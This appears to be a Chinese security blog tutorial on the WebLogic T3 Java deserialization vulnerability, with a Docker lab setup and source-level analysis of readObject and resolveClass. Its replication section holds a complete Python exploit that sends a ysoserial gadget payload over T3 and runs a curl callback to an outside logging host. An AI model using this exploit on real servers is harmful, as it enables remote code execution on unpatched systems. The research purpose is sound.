Java weblogic-T3协议漏洞

0x01 weblogic

来源百度百科

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

0x02 T3协议

T3协议是weblogic用于通信的协议,类似于RMI的JRMP,都是一对一的模式,对于T3协议的理解可以看看大佬的文章,很通俗易懂

Java安全之初探weblogic T3协议漏洞 - nice_0e3 - 博客园 (cnblogs.com)

简单的来说,T3协议在传输序列化的过程中,分为几个部分

图片取自z_zz_zzz师傅的修复weblogic的JAVA反序列化漏洞的多种方法文章。

第1部分为协议头。即t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n这串数据,这串数据传输后,会获得一个response,包含了weblogic的版本号,而攻击的手段就分为两种

  • 第一种生成方式为,将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。

  • 第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

0x03 环境搭建

weblogic的环境比较复杂,但是有大佬已经做好集成的环境了

QAX-A-Team/WeblogicEnvironment: Weblogic环境搭建工具 (github.com)

跟着提示做就没有问题

编译运行

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

运行后可访问http://localhost:7001/console/login/LoginForm.jsp登录到Weblogic Server管理控制台,默认用户名为weblogic,默认密码为qaxateam01

然后说一下IDEA的远程调试

需要讲weblogic的依赖jar包导出来进行远程调试

可以看看这个大佬的文章

IDEA+docker,进行远程漏洞调试(weblogic) - ph4nt0mer - 博客园 (cnblogs.com)

我本地是weblogic1036jdk7u21的版本

然后我运行sudo ./run_weblogic1036jdk6u25.sh,这个脚本会讲里面的jar包导出,然后开启debug模式,debug端口就是8453

这时候我们得到文件后,跟着上面这个文章的大佬做就行了,debug配置如下

0x04 漏洞复现及分析

漏洞复现

用以下exp试探漏洞复现是否成功

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = 'ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "192.168.24.129"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "curl http://4z65as.ceye.io/"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)

在ceye网站上可以看到命令执行成功了

这个EXP执行结束后,可以看到从数据包中得到weblogic的版本号

漏洞分析

进行反序列化是InboundMsgAbbrev类里面的readObject方法里,这个类的路径如下图所示

这里面调用了ServerChannelInputStreamreadObject方法 继续跟进

可以看到ServerChannelInputStream继承了ObjectInputStream,而且自己本身是没有重写readObject方法,而且resolveClass方法也是调用的父类方法

resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象,是原生readObject方法其中的一环,在后面的补丁中,weblogic也会针对resolveClass的重写进行一个反序列化攻击的防御

所以我们可以先分析一下原生反序化中是如何调用到resolveClass方法的,又如何在其中处理的

0x05 原生readObject分析

先写一个简单的JavaBean然后将其用objectOutputStream序列化保存,再用objectInputStream进行反序列化

import java.io.*;

public class originReadObject implements Serializable {
    public int age;
    public String name;
    originReadObject(int age,String name){
        this.age = age;
        this.name = name;
    }
    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
    public void print(){
        System.out.println("success!");
    }
    public String toString(){
        return "age:"+age+"\n"+"name:"+"\n";
    }
    public static void main(String[] args) throws Exception{
        originReadObject oro = new originReadObject(19,"crilwa");
        oro.print();
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
        oos.writeObject(oro);

        ObjectInputStream ois = new ObjectInputStream((new FileInputStream("1.ser")));
        ois.readObject();
    }
}

下个断点,然后强制步入

一路进到readObject0方法内,跟进

里面定义了一个tc去读取数据流的第一个字节,如果等于TC_RESET就执行while里面的内容,因为我们tc=115,这里就跳过不执行了

紧接着来到一个switch语句

因为tc=115所以到了

case TC_OBJECT:
                    return checkResolve(readOrdinaryObject(unshared));

跟进readOrdinaryObject方法

这里调用了readClassDesc方法,继续跟进

可以看到,这里令tc等于数据流的第二个字节,也就是114,然后又进入了一个switch语句,然后我们会进入readNonProxyDesc方法中,继续跟进

可以看到,这里定义了一个变量readDesc来获取类描述符,如果不存在则会抛出异常,紧接着会调用resolveClass方法,我们跟进一下resolveClass方法

这里会获取需要序列化的类名,然后利用反射的方法获取该类的Class对象,latestUserDefinedLoader()方法返回的是sun.misc.VM.latestUserDefinedLoader()说明指定了该加载器,返回到readOrdinaryObject方法中继续做分析。

该方法对反序列化的操作进行实现,我们跟进一下

这里slotDesc.hasReadObjectMethod()会判断是否重写了readObject方法,如果重写就进入slotDesc.invokeReadObject(obj, this);

没有重写则会进入下面的defaultReadFields方法里面

至此原生readObject就分析完了,接下来的weblogic会根据resolveClass进行修复,到时候我们再深入分析resolveClass的防御

点击收藏 | 1 关注 | 1
登录 后跟帖